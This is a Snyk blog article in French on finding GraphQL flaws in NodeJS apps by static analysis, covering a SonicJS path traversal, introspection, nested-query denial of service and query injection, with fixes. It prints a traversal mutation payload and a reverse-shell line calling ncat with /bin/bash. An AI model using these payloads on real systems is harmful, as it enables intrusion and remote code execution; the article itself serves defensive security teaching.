Skip to main content

Améliorer la sécurité de GraphQL grâce à l’analyse statique et à Snyk Code

Écrit par
Headshot of Sam Sanoop

Sam Sanoop

feature snyk code orange

12 avril 2022

0 minutes de lecture

GraphQL est un langage de requête pour API développé par Facebook en 2015. Depuis, ses fonctionnalités et capacités uniques en ont fait une alternative viable aux API REST. Côté sécurité, les serveurs GraphQL peuvent présenter plusieurs types d’erreurs de configuration, susceptibles d’entraîner une compromission des données, des problèmes de contrôle d’accès et d’autres vulnérabilités à haut risque.

Les problèmes de sécurité liés à GraphQL sont bien connus, mais les informations sur la manière de les détecter sont rares en dehors de l’analyse dynamique. Dans cet article, nous verrons comment les vulnérabilités GraphQL courantes se manifestent dans une base de code et comment les détecter à l’aide des outils d’analyse statique et de GraphQL Security. Comme de nombreux frameworks GraphQL utilisés sont disponibles sur npm, nous nous concentrerons sur des exemples de l’écosystème NodeJS.

Analyse de contamination dans les frameworks GraphQL

De nombreuses études portant sur les endpoints GraphQL ont signalé des vulnérabilités d’injection SQL et de désérialisation. On en trouve un exemple dans le rapport de HackerOne, où une injection SQL est possible via un paramètre GraphQL.

Comme les paramètres d’une API REST, les arguments GraphQL peuvent être contaminés par des données saisies par l’utilisateur dans une application. Les outils d’analyse statique doivent pouvoir identifier et modéliser ces paramètres avec précision dans une application.

Dans les frameworks GraphQL, les résolveurs font le lien entre le schéma, la fonction et les arguments avant de transmettre ces derniers aux fonctions de résolution. L’exemple suivant montre l’argument args sous la forme d’un objet contenant tous les arguments GraphQL fournis pour le champ par l’opération GraphQL.

const resolvers = {
  Query: {
    user(parent, args, context, info) {
      return runFunction(args.parameter);
    }
  }
}

Le moteur Snyk Code peut suivre ces expressions args et s’appuie sur l’analyse des points d’accès et l’analyse de l’état des types pour enregistrer avec précision l’exécution du programme. L’analyse de SonicJS par Snyk Code, un système moderne de gestion de contenu open source basé sur NodeJs, en est un bon exemple.

SonicJS permet aux utilisateurs d’effectuer des opérations de gestion de contenu via son endpoint GraphQL. L’une de ces opérations est la mutation fileUpdate, qui permet à un utilisateur de mettre à jour ses fichiers.

    fileUpdate: {
      type: FileType,
      args: {
        filePath: { type: new GraphQLNonNull(GraphQLString) },
        fileContent: { type: new GraphQLNonNull(GraphQLString) },
        sessionID: { type: GraphQLString },
      },
      resolve(parent, args) {
        fileService.writeFile(args.filePath, args.fileContent);
        let fileData = new FileData(args.filePath, args.fileContent);
        return fileData;
      },

(code source)

Cette requête de mutation prend en entrée les données fournies par l’utilisateur, args.filePath et args.fileContent, puis les transmet à la fonction writeFile de l’objet fileService. L’implémentation de la fonction de l’objet fileService se trouve dans server/services/file.service.js et est présentée ci-dessous.

    writeFile: async function (filePath, fileContent) {
      Let fullPath = path.join(this.getRootAppPath(), filePath);
      Await fsPromise.writeFile(fullPath, fileContent);
    },

(code source)

Cette fonction utilise les deux arguments GraphQL et appelle la fonction fs.writeFile pour mettre à jour le fichier à l’emplacement indiqué. Cependant, elle peut être exploitée pour parcourir le répertoire de l’application et créer un nouveau fichier n’importe où sur le système cible, comme dans la requête GraphQL suivante :

mutation {

fileUpdate(
filePath: "../../../../../../../../../../../../tmp/test.txt",
fileContent: "exploitable",
sessionID:"nosessioncheckinplace"
){
filePath
fileContent
}
}

Cette vulnérabilité permet d’exécuter du code sur le système en écrasant l’un des fichiers de service de SonicJS avec du JavaScript malveillant, chargé par SonicJS au démarrage ou au redémarrage. Par exemple, l’instruction suivante utilise la fonction child_process pour installer une porte dérobée dans l’application et se connecter à une adresse IP contrôlée par un attaquant, en s’appuyant sur le programme ncat installé sur le système cible.

require("child_process").exec('ncat 127.0.0.1 4445 -e /bin/bash')
Interface GraphQL affichant une mutation fileUpdate avec un chemin de fichier et une charge utile de commande shell, ainsi que la réponse JSON renvoyée.

Vous trouverez ci-dessous le rapport de Snyk Code sur cette vulnérabilité :

Analyse de sécurité du code montrant une vulnérabilité de traversée de chemin dans GraphQL et le flux de données vers une fonction d’écriture de fichier

SonicJS peut prévenir cette vulnérabilité à l’avenir en exigeant une authentification et une autorisation pour la requête, et en validant le chemin de fichier fourni afin de refuser les caractères spéciaux tels que ../.

Introspection GraphQL

Le système d’introspection de GraphQL permet de découvrir les requêtes prises en charge par un serveur GraphQL. Il fournit notamment des informations sur les types, les champs, les requêtes, les mutations et d’autres éléments liés au schéma GraphQL.

Bien qu’il s’agisse d’une fonctionnalité et non d’un problème de sécurité direct, l’introspection peut souvent servir à repérer des fonctionnalités cachées qu’un attaquant pourrait exploiter.

Dans l’écosystème NodeJS, les frameworks JavaScript activent souvent l’introspection par défaut, sans que cela soit forcément évident pour les développeurs. Ainsi, si vous utilisez un framework GraphQL sans spécifier de paramètres, comme express-graphql ci-dessous, l’introspection est activée automatiquement.

import express from 'express'
import graphqlHTTP from 'express-graphql'
import Myschema from './schema'

const app = express();
app.use('/graphql', graphqlHTTP((req, res) => ({ 
  Schema: MySchema,
})))

Vous trouverez ci-dessous un exemple de ce rapport dans Snyk Code :

Écran d’analyse de sécurité affichant « Introspection activée » pour un serveur Apollo GraphQL, avec du code qui active l’introspection.

Comme il peut être légitime d’avoir besoin de l’introspection dans une application en production, ce problème a été classé comme présentant un risque faible.

Pour désactiver l’introspection dans express-graphql, utilisez NoSchemaIntrospectionCustomRule, fourni par graphql-js.

import express from 'express'
import graphqlHTTP from 'express-graphql'
import Myschema from './schema'
import { specifiedRules, NoSchemaIntrospectionCustomRule } from 'graphql';

const app = express();
app.use('/graphql', graphqlHTTP((req, res) => ({ 
  Schema: MySchema,
validationRules: [...specifiedRules, NoSchemaIntrospectionCustomRule],
})))

L’introspection en production peut entraîner des problèmes de sécurité, mais elle est souvent nécessaire en développement. Les créateurs d’ApolloServer ont résolu ce problème en activant ou désactivant l’introspection selon que l’application est en production.

// introspection is only enabled based on NODE_ENV
const apolloServer = new ApolloServer({
  schema,
  introspection: process.env.NODE_ENV !== 'production' && CUSTOM_ENV !== 'production',
});
export default apolloServer;

Si vous utilisez un autre framework GraphQL, vous pouvez vous servir d’une bibliothèque tierce telle que le package graphql-disable-introspection pour valider les règles de votre endpoint GraphQL.

Déni de service GraphQL

Chaque requête comporte une profondeur d’objets imbriqués que peut traiter un endpoint GraphQL. La plupart des frameworks GraphQL ne définissent aucune limite de profondeur par défaut. Des requêtes à profondeur illimitée peuvent exposer le framework à des attaques par déni de service (DoS), comme dans l’exemple suivant :

{
    one {
        two {
            one {
                two {
                    one…
                }
            }
        }
    }
}

Toutefois, pour que ce problème puisse être exploité, le serveur GraphQL doit présenter un schéma récursif de types de champs comportant une relation bidirectionnelle. Vous trouverez ci-dessous un exemple de ce rapport dans Snyk Code :

Écran d’analyse de code intitulé « Déni de service (DoS) par requêtes GraphQL imbriquées », mettant en évidence une configuration graphqlHTTP dans server.js.

Cette vulnérabilité DoS a été découverte dans mevn-cli. Pour la corriger, vous pouvez utiliser le package graphql-depth-limit disponible sur npm, comme suit :

import depthLimit from 'graphql-depth-limit'
import express from 'express'
import graphqlHTTP from 'express-graphql'
import schema from './schema'

const app = express() 
app.use('/graphql', graphqlHTTP((req, res) => ({ 
  schema,
  validationRules: [ depthLimit(10) ]
})))

Consultez ce commit du dépôt mevn-cli pour voir un exemple de cette correction.

Une autre façon de prévenir les attaques DoS consiste à vérifier la taille du corps de la requête sur votre endpoint GraphQL. Les requêtes volumineuses peuvent signaler une attaque DoS : surveiller leur taille est donc une vérification simple et efficace.

// query length is checked here to prevent DoS
  app.use('/graphql', graphqlExpress((req) => {     
 const query = req.query.query || req.body.query;
    if (query && query.length > 2000) {
      // Normal GraphQL queries are not this long
      // Probably indicates someone trying to send an overly expensive query
      throw new Error('Query too large.');
    }

    return {
      schema,
      context: Object.assign({}, context),
      debug: true,
    };
  }));

Injection GraphQL

En permettant à un attaquant d’interférer avec une requête de l’application, une injection GraphQL peut donner à des acteurs malveillants accès à des données qu’ils ne devraient normalement pas pouvoir récupérer, notamment des données utilisateur ou toute autre donnée accessible à l’application. Dans bien des cas, ces données peuvent être modifiées ou supprimées, entraînant des changements persistants dans le contenu et le comportement de l’application.

@octokit/core est une bibliothèque minimaliste conçue pour utiliser les API REST et GraphQL de GitHub afin de créer des requêtes GraphQL. Lorsque des données saisies par l’utilisateur servent à créer dynamiquement une requête GraphQL, un attaquant peut être en mesure de la modifier pour accéder à des informations confidentielles. Vous trouverez ci-dessous un exemple de ce problème :

app.get('/', async function(req, res) {

    let user = req.query.page;

    const { articles } = await octokit.graphql(
        `
          query lastIssues($owner: String!, $repo: String!) {
            repository(owner: ${input}, name: $repo) {
              issues(last: $num) {
                edges {
                  node {
                    title
                  }
                }
              }
            }
          }
        `,
        {
          owner: "octokit",
          repo: "graphql.js",
        }
      );

Vous trouverez ci-dessous un exemple de ce rapport dans Snyk Code.

Analyse de sécurité GraphQL de Snyk Code montrant une entrée HTTP non assainie transmise à une requête GraphQL dans du code JavaScript

Pour prévenir les injections GraphQL, évitez de transmettre directement les paramètres saisis par l’utilisateur à une requête GraphQL. Si la saisie directe est nécessaire pour des raisons de performances, validez-la à l’aide d’une liste d’autorisation très stricte des caractères permis — en excluant les caractères spéciaux tels que ? & / < > ; - et l’espace — et utilisez si possible une fonction d’échappement fournie par le fournisseur.

Conclusion

Snyk Code prend actuellement en charge les frameworks GraphQL suivants grâce à diverses règles d’analyse de contamination et règles sémantiques :

  • express-graphql

  • koa-graphql

  • mercurius

  • apollo-server

  • graphql-js

Nous espérons étendre la prise en charge à d’autres vulnérabilités GraphQL, comme les problèmes de référence directe d’objet non sécurisée et de contrôle d’accès. GraphQL est actuellement pris en charge pour JavaScript, et nous souhaitons ajouter d’autres langages et règles de qualité du code afin de traiter des problèmes tels que les attaques par lots et la complexité des requêtes.

Lancez-vous dans les compétitions Capture The Flag

Apprenez à résoudre des défis Capture The Flag en regardant à la demande notre atelier virtuel d’initiation.

Publié dans:

Lire la suite

feature insights context
Blog

Les attaques autonomes sont déjà là. La défense doit suivre leur rythme.

Les attaquants autonomes réduisent la fenêtre de défense. Découvrez comment la découverte, la correction, la validation et la prévention continues peuvent aider les équipes de sécurité à suivre le rythme.

illustration hero ai
Blog

L’ouragan de l’IA est là

L’IA accélère à la fois la création de logiciels et les cyberattaques. Les dirigeants doivent sécuriser les agents et le code dès leur conception, appliquer des contrôles à l’exécution et valider les défenses de manière indépendante.

feature insights context
Blog

La prévention est-elle essentiellement un problème résolu ?

La prévention dans le code généré par les agents est résolue sur le plan architectural, mais le défi reste de choisir des contrôles qui protègent la sécurité sans ralentir le développement.